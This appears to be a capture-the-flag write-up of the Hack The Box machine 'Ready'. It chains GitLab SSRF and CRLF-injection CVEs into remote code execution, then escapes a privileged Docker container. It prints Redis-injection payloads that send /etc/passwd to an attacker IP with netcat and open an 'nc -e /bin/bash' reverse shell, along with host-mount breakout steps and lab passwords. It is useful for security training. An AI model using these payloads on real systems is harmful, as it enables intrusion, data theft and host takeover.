Ready is a medium difficulty Linux machine from Hack The Box that features a self-hosted GitLab instance which is vulnerable to a remote code execution by chaining two CVEs. And that allows me to gain a foothold on a container. Enumerating inside the container finds a password that is reused by the container root account. The container is found to be running in privileged mode, and this can be exploited by mounting the host’s drive (the Linux filesystem) to the container.
Raw notes available on my GitHub.
Reconnaissance
Nmap
All ports scan with nmap
discovers two open ports: SSH on port 22, and a HTTP web server on port 5080
nmap -p- -sV --reason -oA nmap/10-initial-ready 10.10.10.220
After performing a default script scan, it shows there’s a GitLab instance on port 5080.
nmap -p22,5080 -sC -sV --reason -oA nmap/10-default-ready 10.10.10.220
Enumeration
TCP 80 — GitLab
The page displays a self-hosted GitLab Community Edition.
I can register with any email domain.
The GitLab version can be seen by visiting/help
, and it seems to be an outdated one.
I’ll take a note on the version.
—:: searchsploit
I can feed the GitLab version to searchsploit
, and it returns with two exploits that match with the version.
searchsploit GitLab 11.4.7
Foothold
Gitlab 11.4.7 RCE (CVE-2018–19571 & CVE-2018–19585)
The RCE exploit that was popped on searchsploit
above is consist of two vulnerabilities, SSRF (CVE-2018-19571) and CRLF Injection (CVE-2018-19585). The exploit’s author uses the LifeOverFlow’s blog post as reference, and so I decided to read that blog and try to reproduce it here.
With SSRF, you can talk with the internal Redis server on port 6379 that used by GitLab as database, cache and message broker. If there is an HTTP request sent to the Redis server using SSRF, the request would read as follows (# ==>
is a comment by me):
GET blablabla HTTP/1.1 # ==> Redis read this as a command
Host: [0:0:0:0:0:ffff:127.0.0.1]:6379
User-Agent: git/2.18.1
Accept: */*
Accept-Encoding: deflate, gzip
Pragma: no-cache - Err wrong number of arguments for 'get' command
The idea here is to use the CRLF Injection to insert a payload after the ‘GET’ line.
—:: Exploit PoC
For this, I’ll need BurpSuite turned on.
On GitLab, I’ll import a (non-exist) project and choose the “Repo by URL” menu.
I’ll be using the same SSRF payload to bypass the GitLab URL filter which is git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
and add my (non-exist) .git
repository at the end of the URL, so it becomes: git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/ssrf-test.git
The repository URL above is a special IPv6 address where its last 32 bits is used to embed the IPv4 address. The URL was used to bypass the SSRF protection defined in
spec/lib/gitlab/url_blocker_spec.rb
(patched in 11.4.8)
I’ll intercept the request after I hit the “Create Project” button, and then on BurpSuite, I’ll modify the import URL to this:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/
multisadd resque:gitlab:queues system_hook_pushlpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /etc/passwd | nc 10.10.14.20 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"exec
exec
/ssrf-test.git
The HTTP request now looks like this:
After I hit the send button, my nc
listener caught the file contents of /etc/passwd
.
Here is the all in one image:
— :: Weaponize - Reverse Shell
From here, I’ll reproduce the step above, but this time I’ll send myself a shell. The payload as follows.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/iamf/
multisadd resque:gitlab:queues system_hook_pushlpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|nc -e /bin/bash 10.10.14.20 9000\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"exec
exec
/ssrf-to-rce.git
On my nc
listener:
I’ll do the ‘stty’ trick to upgrade my shell.
python3 -c 'import pty.pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo; fg
export TERM=xterm
On /home
, there is only one user called dude
, and I'm able to read the user flag there.
Privilege Escalation
Container Enumeration
I found a .dockerenv
on the root directory which indicates that I'm inside container, and there is also a file called root_pass
.
The content of root_pass
is a random string, which I think it is a password. I tried it to the user and root account but it didn't work.
git@gitlab:/opt/backup$ cat /root_pass
YG65407Bjqvv9A0a8Tm_7w
Exploring on /opt
, I found a folder called backup
. The folder contains three files: docker-compose.yml
, gitlab-secrets.json
and gitlab.rb
.
Upon performing a recursive grep to search for files containing a “pass” string inside the folder, I discovered an SMTP password on gitlab.rb
.
git@gitlab:/opt/backup$ grep -Ri "pass"
Looking into docker-compose.yml
, I see a potential vector for container breakout.
SU — root (container)
The password wW59U!ZKMbG9+*#h
works on the container root account.
git@gitlab:/opt/gitlab$ su root
Password: wW59U!ZKMbG9+*#h
root@gitlab:/opt/gitlab# id
uid=0(root) gid=0(root) groups=0(root)
Docker Breakout
Based on the docker-compose.yml
file, I suspect the container is running with privileged flag. According to my favorite blog, which is BookHackTrick, a container with privileged flag will have access to the host devices.
Although, --privileged
gives all the Linux capabilities, I'll still check it manually to make sure I have access to the host devices.
root@gitlab:/opt/gitlab# capsh --print
There is a CAP_SYS_ADMIN
! With this capability, I'm able to mount the host devices and make it available on the container.
— :: Mount the host file system
I can list all the host devices with fdisk -l
.
Now I can simply mount the Linux filesystem (/dev/sda2
) to my specified folder.
The root user of the host has SSH keys, I’ll grab only the private key to my machine.
SSH Access as root (host)
After changing the key permissions to 600, I can login as root user.
ssh -i root_rsa root@10.10.10.220
I can also grab the root flag.
Originally published at: https://fahmifj.github.io/writeups/hackthebox/htb-ready/